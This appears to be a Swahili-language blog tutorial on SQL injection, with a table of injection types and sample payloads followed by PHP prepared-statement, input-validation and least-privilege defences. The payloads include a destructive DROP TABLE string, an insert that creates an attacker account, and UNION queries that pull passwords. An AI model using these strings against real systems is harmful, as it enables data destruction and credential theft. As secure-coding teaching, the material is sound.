Aina za SQL injection jinsi ya kutumia

SQL Injection - Maelezo ya Zaidi

SQL Injection - Maelezo ya Zaidi

Aina za SQL Injection

Kuna aina mbalimbali za SQL injection:

Aina Maelezo Mfano
Classic SQLi Kutumia alama za kutafsiri kuvunja msimbo ' OR '1'='1
Blind SQLi Kutambua makosa au mabadiliko katika majibu admin' AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables))--
Time-based SQLi Kutumia amri zinazosababisha mcheleweso '; IF (1=1) WAITFOR DELAY '0:0:5'--
Union-based SQLi Kutumia UNION kuongeza matokeo ' UNION SELECT username, password FROM users--

Mifano zaidi ya Mashambulizi

1. Kufuta Data

Mshambuliazi anaweza kufuta data kwa:

'; DROP TABLE watumiaji;--

Hii itafuta meza nzima ya watumiaji!

2. Kuongeza Mtumiaji Mpya

Kuingiza mtumiaji mpya kwa ruhusa za msimamizi:

'; INSERT INTO watumiaji (jina, nenosiri) VALUES ('mshambuliazi', '123456');--

3. Kupata Data Nyeti

Kusoma data nyeti kama nenosiri:

' UNION SELECT 1, nenosiri, 1 FROM watumiaji WHERE jina = 'admin'--

Hatari za SQL Injection

  • Upotevu wa data: Data inaweza kufutwa au kuharibiwa
  • Uvujaji wa taarifa: Nenosiri na data nyeti zinaweza kuonekana
  • Kudhibitiwa kwa mfumo: Mshambuliazi anaweza kudhibiti mfumo mzima
  • Uvumbuzi wa mfumo: Mshambuliazi anaweza kugundua maelezo ya mfumo

Njia za Kuzuia kwa Undani

1. Prepared Statements kwa PHP

// Kwa PDO

$stmt = $pdo->prepare("SELECT * FROM watumiaji WHERE jina = :jina");

$stmt->bindParam(':jina', $jina);

$stmt->execute();

// Kwa MySQLi

$stmt = $conn->prepare("SELECT * FROM watumiaji WHERE jina = ?");

$stmt->bind_param("s", $jina);

$stmt->execute();

2. Thibitisha Maingizo

// Hakikisha jina la mtumiaji lina herufi pekee

if (!preg_match("/^[a-zA-Z0-9_]+$/", $jina)) {

    die("Jina batili la mtumiaji");

}

3. Mapungufu ya Ruhusa

Hakikisha akaunti ya hifadhidata ina ruhusa ndogo zinazowezekana:

  • Usiruhusu ruhusa za kufuta (DROP, DELETE)
  • Ruhusu SELECT pekee kwa meza muhimu
  • Tumia maoni tofauti kwa programu na msimamizi

Kumbuka: Usalama wa programu ni muhimu. Fanya ukaguzi wa SQL injection kila wakati.

© 2025 Mwandalizi wa somo Greenhacker kutoka IT TECH BRO'S GROUP

Post a Comment

0 Comments